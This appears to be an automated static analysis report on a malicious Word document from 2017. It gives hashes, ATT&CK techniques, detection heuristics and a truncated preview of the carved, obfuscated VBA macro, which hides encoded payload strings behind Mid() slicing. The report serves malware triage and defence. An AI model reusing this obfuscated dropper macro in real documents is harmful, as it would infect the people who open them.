Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e0c5b1a666dde75…

MALICIOUS

Office (OLE)

95.5 KB Created: 2017-10-26 11:21:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: fdd5ce40125eb52f56923c80e82f9815 SHA-1: 570a6f201e29437289e1d2e6839a725e2aabe250 SHA-256: 0e0c5b1a666dde75e58d0cbef4e2013cd83d385012747dc3fd392763f25e1e4b
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses the AutoOpen function and a Shell() call, indicating an attempt to execute arbitrary code. The presence of obfuscated VBA code and the ClamAV detection signature 'Doc.Macro.Obfuscation-6355576-0' strongly suggest this is a downloader or dropper for further malicious activity.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56719 bytes
SHA-256: 718c014ff6f1b6e4a2806f8dc5e540806cc366aff38f55e6c2298b3495fa1644
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 112 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function YjMimJRmY()
kUSkRwJJD = "ZU48A5JC6Z2V3JSGRPSwqCiHwMzrrzbAWvaqWmBOTIWnzhnnosJMbtsCIjzhDpstpSGjSShVvKcijuHPYMCwoPYdCXiqnULdQcwhaDUWLnRRQKWNYjIrmuFaudhvkriazzSDwaoVrjmAzHNsBURDLANVXQG8YZ4YGAX4ZKE"
BwCQWlfLVXb = Mid(kUSkRwJJD, 20, 130)
aMEFUfOa = BwCQWlfLVXb
piGLuG = "4OB09KJUPAOWcAtIHfHiNjLwAUwmaBopwpkORLlAwDEUIpPsGuzqPzSBwcVBjEDwujZmQirwtGiJirqLFFjfCwazXjSpqkUrzIZYPcccDCwJQIWFlJwaXXuwJcPjMBFMJAWRI14"
LcivdhVcW = Mid(piGLuG, 12, 116)
GuVjFFsoan = LcivdhVcW
ikYNXUS = "GG1FMRY8kSviQqWuANqJauRzsGokLQqHswZEwNfvvhDEiqCiDECmVqCXhXaiwuuUcnqURRwmhuOtqNVBEFjGNElBtCWanzwAnjcqAhRmIQEacJjUCYdqNnGXBoaOuVwkwNGHkiAWotwzzLZkVCYPUInzcEoMHCsmSUiOCZjXXGCUpJYqPqtrziPnaGfjqoPlBLiihKhwSArNFSKSjwzRJApjEqovuDhjrRTdftJEIzZKPR5SYZ84LCZMKY4"
swYXq = Mid(ikYNXUS, 9, 227)
ikzfkJqM = swYXq
PQsZUTS = "HA9NU3DSiWrMaQFXRiCQtwOFDPfVtjzojJaLHBvVApGhRDHXUiwQEzRaWMRhVLZCYCcRqtPQihPDshnzIHAOjhjkrzpvjOApQDJOaphaPjhXjOipYRZOKKTqTsZqEUjUhanoXZZSZazCzLAdRzWSoliFHSORUIPXKF3U4"
mbSRGIqNj = Mid(PQsZUTS, 8, 145)
rTmwWzYQlq = mbSRGIqNj
czvIjnDRa = "7G9UU1DUS9JHYSQOJJ6TV39EGkUzjbnpzGALjBzQvzpUZdSNGGuKRbUtmZTHYOItPmLtmHphLzUpLoVcSHqZhdXYmHZJhprjovEmSZbzQMwTGihzErpRXjMmOmHiijAWGnBQkiKsfrIUiERHacEqAZJFjRXfSwRkMbNTdQMWjwmjarHKVzEFbKVjivhSKiaiaYHDqwdJPiJEncfrKNKSsLICGhoijtLBVDGBjETXVuqtAQsBQpIzUIqOPFwJJvZVWHjkWdIFtnwzVPBpomRulOjMNrmiIKNaVUWshIfmhCDhLstzDGVXdfkHaWWiqizjZFFQYTZ"
ZmJFiIdqkDh = Mid(czvIjnDRa, 25, 297)
uHjCJZXVWJ = ZmJFiIdqkDh
OitvVDzlcuf = "58E9ZAQRTRNR6UDA3C6E2BHUZ9T5V8VL00TutOtlhTPwWpJWEYUAXDnhwiZKujRRsOEhzwbjizEOSICDJY"
EVtvwB = Mid(OitvVDzlcuf, 36, 45)
ELwXjrSOuGP = EVtvwB
MounwOYzo = "ZOJSEZ2GFD8SmZtKBWnvRGvJIiTcUAipbmmiUBAwpZImzZWmdQdWlaMvIsinwDzNkErAnPqzVqGrwIMjMjwEXHEAZqVbXMAlcvBthWwNadAuUUzAjubPEtqdzqaztPcIpUPDGSBpildtGJjEsVucllhiEYtrvBULBrFzE6P9Q5BTTAVH2S8MEIFXKERSOP"
JSHZMEbjk = Mid(MounwOYzo, 12, 154)
XWuALMnHnk = JSHZMEbjk
DztzjR = "7XJMZ20OOJmqJVRSvddEczBRjPMMEjntUcNcOmNvPCwnWZwBnSOTzTvvusvAUzwZVsWhHoDIQhoZCOuHQLZlSUwAjQRBQKYT8J4TA1OZK9Y8WT"
mwzoh = Mid(DztzjR, 10, 80)
zOFci = mwzoh
BjzLMWbhs = "KXXN2E10TOFhYzvqAUBMXwLojqABzEHlcWGzoRXzYOqfVcViVbsuCVbBPrzJDMUDuRFCrwBiwBnJGfSGUSjWMMiGuEhzROwMtmlEWTrXZJzAhSvjYsoljwrhiwHmQERiFbPUuOkBaJwDPiZcJzYYaLjvuDVXMFGVsPvGDaoKImKXBoSAZfdTfsIuvUZrtMpVCbLAnSYiJOQnAJuJRWP"
FrjozF = Mid(BjzLMWbhs, 12, 196)
bfqwKWW = FrjozF
LwkGZT = "RP3YE5DR86BOO1VJCQB9PBU140GYX3U31GjCECFjMrUMSVwXsiqYuVJzQNKAfHOTDEIwsUwjwtpjHZKhmSJGPLROHilqrEBFcBJNNAfYiGbAjaprDdNMzIDrmurJiFrrsjGFQwUmnkYIjQhjsunOqoHUzRbTJVpcOkIzUjbHIbYMjuIVMKRoSdADblIwUBcSvvtzIkLITfGOPvkDJFGwEBJljEVjbdmGwGRnAINbzIVmXlnjAEoPuiOumIQDPchqtzPJdwCBsfzvfXOzQpiWoXMUrWBssJMWbfsYViCDCnWPfSOPu9U1BJ"
XEcTCPaPhnF = Mid(LwkGZT, 35, 271)
VUEwNfF = XEcTCPaPhnF
End Function
Function TqWXXnzWZ()
DfboBu = "6QRO7ANAAwAHkAMwA2AH9P7IJ"
fqCDZBcGK = Mid(DfboBu, 6, 14)
sbECikhk = fqCDZBcGK
DLVcN = "GYP89UI8LEASQAxADIARPHXKS6RGBNMPTM9MJ5VGTSKMQ83R"
UJPjzLW = Mid(DLVcN, 10, 10)
KFjMzr = UJPjzLW
JRAajLwQQii = "Y4XJMDULV822FGQE9IUD7NUyAGIAMwA2AHkAOQA1AEkANAA2AE8ANgA5AEMAMQAyADAAYgA5ADkAOwAxADAAMQB1ADEAMQAyAEkAMQAxADYAawAxADAANQBrADEAMQAxAE8AMQAxADAATwA0ADYATwA3ADcAJQAxADAAMQB5ADEAMQA1AGIAMQAxADUAQwA5ADcATgAxADAAMwBiADEAMAAxAEMANQA5PTM54QR87P6X0"
XHQjwJM = Mid(JRAajLwQQii, 24, 201)
zjGbFGh = XHQjwJM
VGNLPRtcK = "LEIAMQAxADAAQwAxADEANgBrADUAOQB5ADMANgBPADEAMQA0AGIAOQA3AE8AMQAxADAAdQAxADAAMAB1ADEAMQAxADsAMQAwADkAJQAzADIAOwA2ADEAdQAzADIAawAxADEAMAAlADEAMAAxACUAMQAxADkAYgA0ADUAYgAxA7B87XB3EZ2HQWJ0"
VcdiIVdi = Mid(VGNLPRtcK, 4, 166)
FMzVdU = VcdiIVdi
cqGokzbh = "PJJI7WYMJ6U8F0DR7EY1V144CL339GAAwAE4AMQAwADEAeQA0ADcAJQAxADIAMgBPADYAOABiADEAMAAxAHkAOQA4AGIANAA3AE4ANAA0ADsAMQAwADQASQAxADEANgB5ADEAMQA2ACUAMQAxADIATwA1ADgAYgA0ADcAeQA0ADcAawA5ADgAOwAxADAAMQAlADEAMAA4AE8AOQA3AEkAMQAxADcAawA0ADYAdQA5ADcASQAxADEANgB5ADQANwBJADcAOQA7AWG2C76TB7"
qi
... (truncated)

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